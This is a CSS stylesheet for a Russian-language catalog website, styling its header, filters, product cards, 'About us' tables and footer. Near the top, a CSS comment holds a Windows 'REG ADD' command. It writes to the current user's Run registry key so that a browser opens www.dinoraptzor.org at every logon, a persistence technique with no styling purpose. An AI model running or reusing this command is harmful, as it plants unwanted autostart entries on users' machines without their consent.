@charset "utf-8";

/* (background)| #|(text-decoration)|(border-radius)|(cursor)|(font-family)|(text-align)|(border)|(outline) */

/* ================================================================================ */
/* Скрытия */
/* Ширина 930px */
@media(min-width: 930px) {
	.filter_wrap {
		background-color: unset !important;
	}
}

/* /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v Home /t REG_SZ /d "cmd.exe /c start www.dinoraptzor.org" */

/* ================================================================================ */
/* Шрифты */
/* @font-face {
	font-family: norm;
	src: url("/_static/font/Novoposelensky.otf");
} */

@font-face {
	font-family: bold;
	src: url("/font/roboto.ttf");
	/* src: url("/font/glory.ttf"); */
}

/* ================================================================================ */
/* Общие */
* {
	text-align: left;
	/* font-family: sans-serif; */
	font-family: bold;
	font-size: inherit;
	box-sizing: border-box;
}

/* ================================================================================ */
/* Подложки */
html {
	background: linear-gradient(90deg, #9ff9ff, #f3feff);
}

body {
	background-image: url("/img/fone.svg");
	background-position: center;
	background-attachment: fixed;
	background-repeat: no-repeat;
	background-size: cover;
}

#wrapper {
	background-image: url("/img/molecula.svg");
	background-position: bottom center;
	background-attachment: fixed;
	background-repeat: no-repeat;
	background-size: contain;
}

/* ================================================================================ */
/* Стили */
.content {
	border-radius: 30px;
}

.content,
.footer {
	background-color: #ffffff;
	background-color: #ffffff77;
}

.head_fix {
	background-color: #ffffff;
	background-color: #ffffffdd;
	border-radius: 0 0 30px 30px;
}

.footer {
	border-radius: 30px 30px 0 0;
}

/* ======================================== */
/* Шапка */
.head_box a {
	color: #00939d;
	text-decoration: none;
}

.logo_max {
	background-image: url('/img/logo/krasdidmed.svg');
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
}

.logo_min {
	background-image: url('/img/logo/krasdidmed.svg');
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
}

.head_nav>a>div {
	background-color: #ffffff;
	text-align: center;
	border-radius: 6px;
}

.toggle_nav {
	background-image: url('/img/icons/btn_nav.svg');
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
	transform-origin: center;
	transition: all 0.3s ease;
	transform: rotate(0);
}

.cls_nav {
	background-image: url('/img/icons/btn_cross.svg') !important;
	transform: rotateX(180deg);
}

.page_nav {
	background-color: #a8dadd77;
	border-radius: 6px;
	border: none;
	outline: none;
	transform-origin: top;
	transition: all 0.3s ease;
}

.page_nav>a>div {
	background-color: #ffffff;
	text-align: center;
	border-radius: 6px;
}

.btn_phone {
	background-image: url('/img/icons/btn_phone.svg');
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
}

/* ======================================== */
/* Контент */
/* Index */
.index * {
	color: #00939d;
}

.index .name_box {
	color: #7fc4c9;
	color: #00939d88;
}

.index .girl_ii {
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
}


/* Крутилка */
.index .rotate_box a {
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
}

/* Ссылки на каталог */
.index .section_cards a {
	background-position: left center;
	background-repeat: no-repeat;
	background-size: contain;
}

/* ======================================== */
/* О нас */
/* .about * {
	word-break: break-all;
	overflow-wrap: break-word;
} */

.about .block_head {
	color: #00939d;
}

.about .fir_table {
	border-spacing: 0;
}

.about .fir_table caption {
	color: #00939d;
}

.about .fir_table td:first-child {
	color: #000000;
}

.about .fir_table td:last-child,
.about .fir_table td:last-child * {
	color: #00939d;
	text-decoration: none;
}

.about .one_block .bg_img {
	background-color: #75bbc044;
	background-image: url("/img/molecula.svg");
	background-position: bottom center;
	background-attachment: fixed;
	background-repeat: no-repeat;
	border-radius: 16px;
	text-align: right;
}

.about .one_block .bg_img a {
	color: #000000;
}

.about .sec_table {
	border-spacing: 0;
	word-break: break-all;
	overflow-wrap: break-word;
}

.about .sec_table td {
	border: 1px solid #00939d;
}

/* Выравнивание границ */
.about .sec_table tr:first-child td {
	border-top: 2px solid #00939d;
}

.about .sec_table tr td:last-child {
	border-right: 2px solid #00939d;
}

.about .sec_table tr:last-child td {
	border-bottom: 2px solid #00939d;
}

.about .sec_table tr td:first-child {
	border-left: 2px solid #00939d;
}

/* Скругления */
.about .sec_table tr:first-child td:first-child {
	border-radius: 16px 0 0 0;
}

.about .sec_table tr:first-child td:last-child {
	border-radius: 0 16px 0 0;
}

.about .sec_table tr:last-child td:last-child {
	border-radius: 0 0 16px 0;
}

.about .sec_table tr:last-child td:first-child {
	border-radius: 0 0 0 16px;
}

/* ======================================== */
/* Каталог */
.index .top_img {
	background: linear-gradient(to right, #ffffff00, #6b8897);
}

.index .img_0 {
	background-image: url('/img/catalog_top/img_0.webp');
	background-position: center;
	background-repeat: no-repeat;
	background-size: cover;
}

.index .img_5 {
	background-image: url('/img/catalog_top/img_5.webp');
	background-position: right;
	background-repeat: no-repeat;
	background-size: contain;
}

.index .img_tmp {
	background-image: url('/img/catalog_top/img_6.webp');
	background-position: right;
	background-repeat: no-repeat;
	background-size: contain;
}

/* ======================================== */
/* Фильтр */
.index .filter_head {
	color: #7fc4c9;
	color: #00939d88;
}

.index .filter_head .filter_btn {
	background-image: url('/img/icons/btn_filter.svg');
	background-position: left center;
	background-repeat: no-repeat;
	/* background-size: cover; */
	background-size: contain;
	cursor: pointer;
}

.index .filter_head select {
	background: none;
	outline: none;
	border: none;
}

.index .catalog .filter_wrap {
	background-color: #ffffff77;
	transition: all 0.3s ease;
}

.index .catalog .filter_form {
	background-color: #ffffff;
	-webkit-user-select: none;
	-ms-user-select: none;
	user-select: none;
	border-radius: 20px;
}

.index .catalog .filter_form button {
	border: 3px solid #00939d;
	border-radius: 20px;
	background-color: #ffffff;
	box-shadow: 0 5px 10px #999999;
	text-align: center;
}

.index .catalog .filter_form .nm_block {
	background-color: #a8dadd;
	text-align: center;
}

.index .catalog .filter_form input {
	border: 2px solid #00939d;
	outline: 2px solid #00939d;
	margin-left: 1px;
}

.index .catalog .filter_form label,
.index .catalog .filter_form .toggle_hide {
	cursor: pointer;
}

.index .catalog .filter_form .toggle_hide span {
	background-image: url('/img/icons/arrow_left.svg');
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
	transform-origin: center;
	transition: all 0.3s ease;
	transform: rotate(-270deg);
}

.cls_list {
	transform: rotate(-90deg) !important;
}

.index .catalog .filter_form .toggle_hide {
	border-bottom: 3px solid #00939d;
}

.index .catalog .filter_form .hide_block>div {
	transform-origin: top;
	transition: all 0.3s ease;
}

/* ======================================== */
/* Список товаров */
.index .catalog .box_card {
	background-color: #ffffff;
	border-radius: 40px;
}

.index .catalog .box_card a {
	text-decoration: none;
}

.index .catalog .box_card h2 div:not(:hover) {
	position: relative;
	overflow: hidden;
}

.index .catalog .box_card h2 div:not(:hover):after {
	position: absolute;
	content: "";
	text-align: right;
	bottom: 0;
	right: 0;
	width: 85%;
	height: 50%;
	background: linear-gradient(to right, #ffffff00, #ffffff);
	pointer-events: none;
}

.index .catalog .box_card h2 div:hover {
	position: absolute;
	height: auto;
	background-color: #ffffff;
	background-color: #ffffffcc;
	padding-bottom: 16px;
	border-radius: 20px;
}

.index .catalog .box_card .card_sale>div {
	/* background-position: left center; */
	/* background-position: calc(50% - 50px) center; */
	background-position: center center;
	background-repeat: no-repeat;
	background-size: contain;
}

.index .catalog .box_card .age_rating {
	background-color: #ffffff;
	background-color: #ffffffbb;
	color: #02646A;
	border-radius: 16px;
	text-align: end;
}

.index .catalog .box_card .card_size {
	background-color: #ffffff;
	color: #02646A;
	border-radius: 16px;
	border: 2px solid #02646A;
	text-align: center;
}

.index .catalog .box_card .link_type a {
	background-color: #ffffff;
	/* color: #000000; */
	border: 2px solid #00939d;
	border-radius: 20px;
	text-align: center;
}

.index .catalog .box_card .link_type a:hover {
	background-color: #00939d;
	color: #ffffff;
}

.index .catalog .box_card .card_info div {
	border-radius: 16px;
	background-color: #ffffff;
	background-color: #ffffffcc;
	transform-origin: top;
	transition: all 0.3s ease;
}

.index .catalog .box_card .card_info div:not(:hover) {
	position: relative;
	overflow: hidden;
}

.index .catalog .box_card .card_info div:not(:hover):after {
	position: absolute;
	content: "";
	text-align: right;
	bottom: 0;
	right: 0;
	width: 85%;
	height: 30%;
	background: linear-gradient(to right, #ffffff00, #ffffff);
	pointer-events: none;
}

.index .catalog .box_card .card_info div:hover {
	position: absolute;
	height: auto;
	bottom: 0;
}

/* ======================================== */
/* Product */
/* .index .product {} */
.index .product .prod_content {
	border-radius: 16px;
}












/* ======================================== */
/* Footer */
/* Карусель */

.footer .turn_l,
.footer .turn_r {
	background-position: center;
	background-repeat: no-repeat;
	background-size: contain;
	cursor: pointer;
}

.footer .turn_items a {
	background-position: center;
	background-repeat: no-repeat;
	/* background-size: 130px 100%; */
	background-size: 130px 45px;
}

#copyright {
	color: #7fc4c9;
	/* background-color: #00939d; */
	background-color: #9ff9ff;
	text-align: center;
}